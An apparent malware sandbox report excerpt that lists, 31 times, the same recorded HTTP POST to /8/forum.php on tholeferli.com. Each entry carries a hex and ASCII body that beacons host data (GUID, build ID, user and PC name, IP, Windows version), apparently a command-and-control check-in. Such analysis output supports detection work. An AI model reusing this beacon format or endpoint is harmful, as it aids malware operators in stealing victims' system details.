Source: global traffic	HTTP traffic detected: POST /8/forum.php HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: tholeferli.comContent-Length: 110Cache-Control: no-cacheData Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Source: global traffic	HTTP traffic detected: POST /8/forum.php HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: tholeferli.comContent-Length: 110Cache-Control: no-cacheData Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Source: global traffic	HTTP traffic detected: POST /8/forum.php HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: tholeferli.comContent-Length: 110Cache-Control: no-cacheData Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Source: global traffic	HTTP traffic detected: POST /8/forum.php HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: tholeferli.comContent-Length: 110Cache-Control: no-cacheData Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Source: global traffic	HTTP traffic detected: POST /8/forum.php HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: tholeferli.comContent-Length: 110Cache-Control: no-cacheData Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Source: global traffic	HTTP traffic detected: POST /8/forum.php HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: tholeferli.comContent-Length: 110Cache-Control: no-cacheData Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Source: global traffic	HTTP traffic detected: POST /8/forum.php HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: tholeferli.comContent-Length: 110Cache-Control: no-cacheData Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Source: global traffic	HTTP traffic detected: POST /8/forum.php HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: tholeferli.comContent-Length: 110Cache-Control: no-cacheData Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Source: global traffic	HTTP traffic detected: POST /8/forum.php HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: tholeferli.comContent-Length: 110Cache-Control: no-cacheData Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Source: global traffic	HTTP traffic detected: POST /8/forum.php HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: tholeferli.comContent-Length: 110Cache-Control: no-cacheData Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Source: global traffic	HTTP traffic detected: POST /8/forum.php HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: tholeferli.comContent-Length: 110Cache-Control: no-cacheData Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Source: global traffic	HTTP traffic detected: POST /8/forum.php HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: tholeferli.comContent-Length: 110Cache-Control: no-cacheData Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Source: global traffic	HTTP traffic detected: POST /8/forum.php HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: tholeferli.comContent-Length: 110Cache-Control: no-cacheData Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Source: global traffic	HTTP traffic detected: POST /8/forum.php HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: tholeferli.comContent-Length: 110Cache-Control: no-cacheData Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Source: global traffic	HTTP traffic detected: POST /8/forum.php HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: tholeferli.comContent-Length: 110Cache-Control: no-cacheData Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Source: global traffic	HTTP traffic detected: POST /8/forum.php HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: tholeferli.comContent-Length: 110Cache-Control: no-cacheData Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Source: global traffic	HTTP traffic detected: POST /8/forum.php HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: tholeferli.comContent-Length: 110Cache-Control: no-cacheData Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Source: global traffic	HTTP traffic detected: POST /8/forum.php HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: tholeferli.comContent-Length: 110Cache-Control: no-cacheData Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Source: global traffic	HTTP traffic detected: POST /8/forum.php HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: tholeferli.comContent-Length: 110Cache-Control: no-cacheData Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Source: global traffic	HTTP traffic detected: POST /8/forum.php HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: tholeferli.comContent-Length: 110Cache-Control: no-cacheData Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Source: global traffic	HTTP traffic detected: POST /8/forum.php HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: tholeferli.comContent-Length: 110Cache-Control: no-cacheData Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Source: global traffic	HTTP traffic detected: POST /8/forum.php HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: tholeferli.comContent-Length: 110Cache-Control: no-cacheData Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Source: global traffic	HTTP traffic detected: POST /8/forum.php HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: tholeferli.comContent-Length: 110Cache-Control: no-cacheData Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Source: global traffic	HTTP traffic detected: POST /8/forum.php HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: tholeferli.comContent-Length: 110Cache-Control: no-cacheData Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Source: global traffic	HTTP traffic detected: POST /8/forum.php HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: tholeferli.comContent-Length: 110Cache-Control: no-cacheData Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Source: global traffic	HTTP traffic detected: POST /8/forum.php HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: tholeferli.comContent-Length: 110Cache-Control: no-cacheData Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Source: global traffic	HTTP traffic detected: POST /8/forum.php HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: tholeferli.comContent-Length: 110Cache-Control: no-cacheData Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Source: global traffic	HTTP traffic detected: POST /8/forum.php HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: tholeferli.comContent-Length: 110Cache-Control: no-cacheData Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Source: global traffic	HTTP traffic detected: POST /8/forum.php HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: tholeferli.comContent-Length: 110Cache-Control: no-cacheData Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Source: global traffic	HTTP traffic detected: POST /8/forum.php HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: tholeferli.comContent-Length: 110Cache-Control: no-cacheData Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Source: global traffic	HTTP traffic detected: POST /8/forum.php HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: tholeferli.comContent-Length: 110Cache-Control: no-cacheData Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
